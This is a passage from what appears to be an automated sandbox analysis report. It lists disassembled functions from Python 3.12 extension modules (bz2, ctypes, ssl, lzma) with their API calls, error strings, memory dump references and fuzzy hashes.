PyThread_allocate_lock.PYTHON312(?,?,00000009,00007FFE11EA22B2), ref: 00007FFE11EA22FC
_Py_Dealloc.PYTHON312(?,?,00000009,00007FFE11EA22B2), ref: 00007FFE11EAB378

Part of subcall function 00007FFE11EA2078: memset.VCRUNTIME140 ref: 00007FFE11EA21CD

_Py_Dealloc.PYTHON312 ref: 00007FFE11EAB3A4
PyErr_SetString.PYTHON312(?,?,00000009,00007FFE11EA22B2), ref: 00007FFE11EAB3C1

Strings

Unable to allocate lock, xrefs: 00007FFE11EAB385
compresslevel must be between 1 and 9, xrefs: 00007FFE11EAB3B7

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: Dealloc$Err_StringThread_allocate_lockmemset
String ID: Unable to allocate lock$compresslevel must be between 1 and 9
API String ID: 451674277-2500606449
Opcode ID: 3dccc7cd2452e4a8ba701b6261aeff0617572921f18deb801f63fe5c7fd59db8
Instruction ID: e4f6d89bc99bfae06b2ef9dfae741108b00af7e9501ed65f5192373a046dc6af
Opcode Fuzzy Hash: 3dccc7cd2452e4a8ba701b6261aeff0617572921f18deb801f63fe5c7fd59db8
Instruction Fuzzy Hash: C421EA35A08E2385EF148FA6FC542BE23ADAF55B64F1444B5CA0D462B5DF7CE449C301

Function 00007FFE1338C2FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

PyDict_GetItemWithError.PYTHON312(?,?,00000000,00007FFE13387C60), ref: 00007FFE1338C343
PyErr_Occurred.PYTHON312(?,?,00000000,00007FFE13387C60), ref: 00007FFE1338C352
PyErr_Format.PYTHON312(?,?,00000000,00007FFE13387C60), ref: 00007FFE1338C389
PyErr_Format.PYTHON312(?,?,00000000,00007FFE13387C60), ref: 00007FFE1338C398

Strings

required argument '%S' missing, xrefs: 00007FFE1338C382
not enough arguments, xrefs: 00007FFE1338C391

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$Format$Dict_ErrorItemOccurredWith
String ID: not enough arguments$required argument '%S' missing
API String ID: 2392320910-3448764933
Opcode ID: 92080e12d9192fed0a4c9bee20a852f84cfb57d978c458e99c4c3a743cd81c25
Instruction ID: 29e279339db83eb0eb0c71918149a9fa3b251f750d0ae98cc5c6874b4aa1b0bc
Opcode Fuzzy Hash: 92080e12d9192fed0a4c9bee20a852f84cfb57d978c458e99c4c3a743cd81c25
Instruction Fuzzy Hash: A2216271A09E42CAEF558F17E58013DA3A1AF64BE0B5841F4CA2E67B74DF6CE4828704

Function 00007FFE11EA3838 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

PyThread_allocate_lock.PYTHON312(?,?,?,00007FFE11EA3810), ref: 00007FFE11EA384E
PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE11EA3881
_Py_Dealloc.PYTHON312(?,?,?,00007FFE11EA3810), ref: 00007FFE11EAB8EC
PyErr_SetString.PYTHON312(?,?,?,00007FFE11EA3810), ref: 00007FFE11EAB903
_Py_Dealloc.PYTHON312 ref: 00007FFE11EAB925

Strings

Unable to allocate lock, xrefs: 00007FFE11EAB8F9

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: DeallocString$Bytes_Err_FromSizeThread_allocate_lock
String ID: Unable to allocate lock
API String ID: 553681934-3516605728
Opcode ID: 759680a25ddd07c6aa1ccb4943ed979172cd353d0607e0d9c42c479e1e040031
Instruction ID: 0c1805be0d2645b936352f20ac7aa854cea0d2600917c923498ac0f2dba88250
Opcode Fuzzy Hash: 759680a25ddd07c6aa1ccb4943ed979172cd353d0607e0d9c42c479e1e040031
Instruction Fuzzy Hash: 2B21F631E09F1385FB199FB6EC593BA62E8AF48B69F0844B5C90E452F5DF7CA4488311

Function 00007FFE1338F6E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON312 ref: 00007FFE1338F721
PyUnicode_AsWideChar.PYTHON312 ref: 00007FFE1338F741
PyErr_Format.PYTHON312 ref: 00007FFE1338F76B
PyUnicode_AsWideChar.PYTHON312 ref: 00007FFE1338F77C

Strings

string too long (%zd, maximum length %zd), xrefs: 00007FFE1338F75B
unicode string expected instead of %s instance, xrefs: 00007FFE1338F713

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: CharErr_FormatUnicode_Wide
String ID: string too long (%zd, maximum length %zd)$unicode string expected instead of %s instance
API String ID: 2195588020-2061977717
Opcode ID: f11398b2c0b628b0444f354ca484af00be8cfc0275c188e98dacbe0e36715d0d
Instruction ID: b719d7d9b8c01e1412c985e731429187fc0d11dc672750571c5dc2dd18a34f13
Opcode Fuzzy Hash: f11398b2c0b628b0444f354ca484af00be8cfc0275c188e98dacbe0e36715d0d
Instruction Fuzzy Hash: 4B117F21A08E4289E6408B27E9401392362EF68FF4B5452B5EA6E67BB4DF3CE4858304

Function 00007FFE11EC8C18 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

PyUnicode_FSConverter.PYTHON312 ref: 00007FFE11EC8C30
OBJ_sn2nid.LIBCRYPTO-3 ref: 00007FFE11EC8C4A
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC8C64
PyErr_Format.PYTHON312 ref: 00007FFE11EC8C85
SSL_CTX_ctrl.LIBSSL-3 ref: 00007FFE11EC8C9F

Part of subcall function 00007FFE11EC6598: ERR_peek_last_error.LIBCRYPTO-3 ref: 00007FFE11EC65B0
Part of subcall function 00007FFE11EC6598: ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE11EC65D9

Strings

unknown elliptic curve name %R, xrefs: 00007FFE11EC8C78

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: ConverterDeallocErr_FormatJ_sn2nidR_clear_errorR_peek_last_errorUnicode_X_ctrl
String ID: unknown elliptic curve name %R
API String ID: 3792718242-553976147
Opcode ID: b6435ebca96cfba828e7183957bdc522b51a1c2eb0a17d2ab22b5edbc9133ce6
Instruction ID: 27c5b03656a9a2a1de50ea2e6edd2a0c8b845c6551b547a5ad1253e51b57253d
Opcode Fuzzy Hash: b6435ebca96cfba828e7183957bdc522b51a1c2eb0a17d2ab22b5edbc9133ce6
Instruction Fuzzy Hash: 52111D75A08E4281EB148BA6ED44A7BA364FB84BB8F904471DA0E42A74DF7EF445C701

Function 00007FFE13385A3C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385A60
PyLong_FromSsize_t.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385A80
PyModule_AddObjectRef.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13385A9B
_Py_Dealloc.PYTHON312(?,?,00000000,00007FFE13385304,?,?,?,00007FFE13385280), ref: 00007FFE13389B73

Strings

ArgumentError, xrefs: 00007FFE13385A56
SIZEOF_TIME_T, xrefs: 00007FFE13385A91

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Module_Object$DeallocFromLong_Ssize_t
String ID: ArgumentError$SIZEOF_TIME_T
API String ID: 3759733762-2194595618
Opcode ID: 6fe8d6d524627906fbc27894a0e712e5e604776739f2c60349be728bf20e9740
Instruction ID: ab42d0c1db8dbaead4ca5f2512a8c693d717d5facd6318cd6ac1b6606969a0eb
Opcode Fuzzy Hash: 6fe8d6d524627906fbc27894a0e712e5e604776739f2c60349be728bf20e9740
Instruction Fuzzy Hash: FC115661E09F42CEF7124F1BD4502BC23A1AF69FA4F4842F5CA2E66775DE2CE4808309

Function 00007FFE10251F4C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

_PyArg_ParseTupleAndKeywords_SizeT.PYTHON312 ref: 00007FFE10251F88
PyMem_Calloc.PYTHON312 ref: 00007FFE10251F9A
PyErr_SetString.PYTHON312 ref: 00007FFE10251FCB
PyErr_NoMemory.PYTHON312 ref: 00007FFE10251FD5

Strings

|OO&, xrefs: 00007FFE10251F79
Invalid filter specifier for delta filter, xrefs: 00007FFE10251FC1

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Err_$Arg_CallocKeywords_Mem_MemoryParseSizeStringTuple
String ID: Invalid filter specifier for delta filter$|OO&
API String ID: 3027669873-2010576982
Opcode ID: 8f6d3e53a03bcdfc1a1c4549eb233bcc7dd316073f513c0d7cf3946cf18a22e7
Instruction ID: 15ff2fac7aabce9a2b390012e4ae0fbadac9691a3e424429b39bd57947bda903
Opcode Fuzzy Hash: 8f6d3e53a03bcdfc1a1c4549eb233bcc7dd316073f513c0d7cf3946cf18a22e7
Instruction Fuzzy Hash: 751109B5A09F4396EB008B22E8541A93BA4FB84B64F6041B5DB0D53771EFBDE80AC754

Function 00007FFE11ECC228 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

_PyArg_Parse_SizeT.PYTHON312 ref: 00007FFE11ECC243
PyErr_SetString.PYTHON312 ref: 00007FFE11ECC26C
SSL_CTX_set_num_tickets.LIBSSL-3 ref: 00007FFE11ECC28A

Strings

SSLContext is not a server context., xrefs: 00007FFE11ECC27A
failed to set num tickets., xrefs: 00007FFE11ECC295
value must be non-negative, xrefs: 00007FFE11ECC25B

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Arg_Err_Parse_SizeStringX_set_num_tickets
String ID: SSLContext is not a server context.$failed to set num tickets.$value must be non-negative
API String ID: 2130650243-3995814857
Opcode ID: 34e7c658043ec6a05f16ad1d4ff55b3578556bcd764564bcccc465152ca84dd7
Instruction ID: a4856f654beccdafbd3d15436c2ef3afdc97495fafa9cd0408784e406a035b70
Opcode Fuzzy Hash: 34e7c658043ec6a05f16ad1d4ff55b3578556bcd764564bcccc465152ca84dd7
Instruction Fuzzy Hash: B8010C64A08E02C1EF188BD7EC8427B236AAF85FB0F9451B1C91E476B4DE2DF5949740

Function 00007FFE10251EC0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_PyArg_ParseTupleAndKeywords_SizeT.PYTHON312 ref: 00007FFE10251EF9
PyMem_Calloc.PYTHON312 ref: 00007FFE10251F0B
PyErr_SetString.PYTHON312 ref: 00007FFE10251F38
PyErr_NoMemory.PYTHON312 ref: 00007FFE10251F42

Strings

|OO&, xrefs: 00007FFE10251EDF
Invalid filter specifier for BCJ filter, xrefs: 00007FFE10251F2E

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Err_$Arg_CallocKeywords_Mem_MemoryParseSizeStringTuple
String ID: Invalid filter specifier for BCJ filter$|OO&
API String ID: 3027669873-3728029529
Opcode ID: c99a539e3f84903be04565e407b851ab502a56b26a5fb183a3bd791a404fbe6a
Instruction ID: bb718b6a6cd48b0c5d2de27ce33b33cd1e77b61e689e3ddd3655232019979b40
Opcode Fuzzy Hash: c99a539e3f84903be04565e407b851ab502a56b26a5fb183a3bd791a404fbe6a
Instruction Fuzzy Hash: 38011BB1A08F4295EB04CB22E8551A83BA4FB84B60F6000B1DB1D53771FFBCE409C358

Function 00007FFE11EAC8E4 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFE11EAC8F1

Part of subcall function 00007FFE11EAC8A0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,00007FFE11EAB152), ref: 00007FFE11EAC8D6

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFE11EAC91D
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE11EAC937

Strings

bzip2/libbzip2: internal error number %d.This is a bug in bzip2/libbzip2, %s.Please report it to: bzip2-devel@sourceware.org. If this happenedwhen you were using some program which uses libbzip2 as acomponent, you should also report this bug to the auth, xrefs: 00007FFE11EAC904
1.0.8, 13-Jul-2019, xrefs: 00007FFE11EAC8F7
*** A special note about internal error number 1007 ***Experience suggests that a common cause of i.e. 1007is unreliable memory or other hardware. The 1007 assertionjust happens to cross-check the results of huge numbers ofmemory reads/writes, and so ac, xrefs: 00007FFE11EAC926

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: __acrt_iob_func$__stdio_common_vfprintfexit
String ID: bzip2/libbzip2: internal error number %d.This is a bug in bzip2/libbzip2, %s.Please report it to: bzip2-devel@sourceware.org. If this happenedwhen you were using some program which uses libbzip2 as acomponent, you should also report this bug to the auth$*** A special note about internal error number 1007 ***Experience suggests that a common cause of i.e. 1007is unreliable memory or other hardware. The 1007 assertionjust happens to cross-check the results of huge numbers ofmemory reads/writes, and so ac$1.0.8, 13-Jul-2019
API String ID: 77255540-989448446
Opcode ID: 836efcf6b23a4585cd62e76ace601ecc2435689098995399630fc0c516941a58
Instruction ID: 096841585ce11f2e1c9515bdd278b21f1cefe3d132ec8e2d46ed0a448cea31ad
Opcode Fuzzy Hash: 836efcf6b23a4585cd62e76ace601ecc2435689098995399630fc0c516941a58
Instruction Fuzzy Hash: D6E06D20A18D2642FB1857E3FC952BB526DFF54770F4010BDC60E073B29E2C39558382

Function 00007FFE11EA2C08 Relevance: 9.1, APIs: 6, Instructions: 114threadCOMMON

Download Yara Rule

APIs

PyBytes_FromStringAndSize.PYTHON312 ref: 00007FFE11EA2C47
PyList_New.PYTHON312 ref: 00007FFE11EA2C5E
PyEval_SaveThread.PYTHON312 ref: 00007FFE11EA2CCC
PyEval_RestoreThread.PYTHON312 ref: 00007FFE11EA2CE6
_Py_Dealloc.PYTHON312 ref: 00007FFE11EAB5CD
_Py_Dealloc.PYTHON312 ref: 00007FFE11EAB61C

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: DeallocEval_Thread$Bytes_FromList_RestoreSaveSizeString
String ID:
API String ID: 722544280-0
Opcode ID: 299e1a11eefcece535b48eefa17f910425dba9180d5bd0db985f057c361aac7e
Instruction ID: 9efbdc5c3c4bd72e06fe5772b4714b2c7beb1550c41650d216d1d30ad3f10068
Opcode Fuzzy Hash: 299e1a11eefcece535b48eefa17f910425dba9180d5bd0db985f057c361aac7e
Instruction Fuzzy Hash: CC415C32E18F2286EB258BA3E91027A23A8FF98B74F144675DE5D537A1DF3CE4518740

Function 00007FFE1338CA30 Relevance: 9.1, APIs: 6, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE1338CB64: PyUnicode_AsUTF8.PYTHON312 ref: 00007FFE1338CBBA
Part of subcall function 00007FFE1338CB64: strchr.VCRUNTIME140 ref: 00007FFE1338CBCA
Part of subcall function 00007FFE1338CB64: PyErr_Format.PYTHON312 ref: 00007FFE1338CBFD

Part of subcall function 00007FFE133823D0: _PyThreadState_GetCurrent.PYTHON312(?,?,?,?,?,00007FFE13381F6C), ref: 00007FFE133823DD
Part of subcall function 00007FFE133823D0: _PyObject_MakeTpCall.PYTHON312 ref: 00007FFE1338241C

Part of subcall function 00007FFE133840F8: PyDict_New.PYTHON312(?,?,00000000,00007FFE1338406B,?,?,?,00007FFE133870FB), ref: 00007FFE13384116

_Py_Dealloc.PYTHON312 ref: 00007FFE1338CAB4
PyDict_New.PYTHON312 ref: 00007FFE1338CABA
PyLong_FromVoidPtr.PYTHON312 ref: 00007FFE1338CAF3
PyDict_SetItem.PYTHON312 ref: 00007FFE1338CB0B
_Py_Dealloc.PYTHON312 ref: 00007FFE1338CB21
_Py_Dealloc.PYTHON312 ref: 00007FFE1338CB3A

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: DeallocDict_$CallCurrentErr_FormatFromItemLong_MakeObject_State_ThreadUnicode_Voidstrchr
String ID:
API String ID: 1460294238-0
Opcode ID: 46b385986ddc6b6c4ccb40965cf82456cdcdd3f900442dbf559915843435c3e5
Instruction ID: 0f2e918771429bd9dc58326730d937ce8a5265627ebb0606e9006e1d437cd6e8
Opcode Fuzzy Hash: 46b385986ddc6b6c4ccb40965cf82456cdcdd3f900442dbf559915843435c3e5
Instruction Fuzzy Hash: 7D315771A09F0289FE559B2BA45417DA2A1AF24BA0F0442F4CE2D66BB5DF3CE4808308

Function 00007FFE11EC91B8 Relevance: 9.1, APIs: 6, Instructions: 72COMMON

Download Yara Rule

APIs

SSL_get_peer_cert_chain.LIBSSL-3 ref: 00007FFE11EC91D6
SSL_get1_peer_certificate.LIBSSL-3 ref: 00007FFE11EC9213
PyList_Insert.PYTHON312 ref: 00007FFE11EC9263
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC9279

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: DeallocInsertL_get1_peer_certificateL_get_peer_cert_chainList_
String ID:
API String ID: 710524685-0
Opcode ID: 9cf0ef28c653eccea6027fa880da99bfbaba0b7ef2cc346cab40ac5a42e38bb4
Instruction ID: cc38eb36139852e09e05011245fd0ed8577d51ee009ecc1c09f66a10c32902a5
Opcode Fuzzy Hash: 9cf0ef28c653eccea6027fa880da99bfbaba0b7ef2cc346cab40ac5a42e38bb4
Instruction Fuzzy Hash: A431EF32A09E5281EB588B97ED5432A73A9BB84FA4F844174CA5E477A4EF2DF4518340

Function 00007FFE11EC4950 Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

OPENSSL_sk_num.LIBCRYPTO-3 ref: 00007FFE11EC4976
PyList_New.PYTHON312 ref: 00007FFE11EC4982
OPENSSL_sk_value.LIBCRYPTO-3 ref: 00007FFE11EC499B
X509_up_ref.LIBCRYPTO-3 ref: 00007FFE11EC49BF
PyList_SetItem.PYTHON312 ref: 00007FFE11EC49D7
_Py_Dealloc.PYTHON312 ref: 00007FFE11EC49F6

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: List_$DeallocItemL_sk_numL_sk_valueX509_up_ref
String ID:
API String ID: 2540853196-0
Opcode ID: fd2a65c6ecf8010d7047c01e71fdc556cecccf67bb5e69fd90c9c35f769795df
Instruction ID: 348eac93109bb5033a60cbf7b9a50ca5a785b607abd1126a21d9d36b99b30dc9
Opcode Fuzzy Hash: fd2a65c6ecf8010d7047c01e71fdc556cecccf67bb5e69fd90c9c35f769795df
Instruction Fuzzy Hash: 5D216F22A05F5282EB158B97AC0426AA3A9BB89FF0F894671CE5D437A4DE3DF4418340

Function 00007FFE10250970 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

PyLong_FromUnsignedLongLong.PYTHON312(?,?,?,00007FFE1025086D,?,?,?,00007FFE1025081A,?,?,?,?,?,00007FFE102507A5), ref: 00007FFE10250988
PyUnicode_InternFromString.PYTHON312(?,?,?,00007FFE1025086D,?,?,?,00007FFE1025081A,?,?,?,?,?,00007FFE102507A5), ref: 00007FFE10250999
PyDict_SetItem.PYTHON312(?,?,?,00007FFE1025086D,?,?,?,00007FFE1025081A,?,?,?,?,?,00007FFE102507A5), ref: 00007FFE102509B4
_Py_Dealloc.PYTHON312(?,?,?,00007FFE1025086D,?,?,?,00007FFE1025081A,?,?,?,?,?,00007FFE102507A5), ref: 00007FFE10255CBE
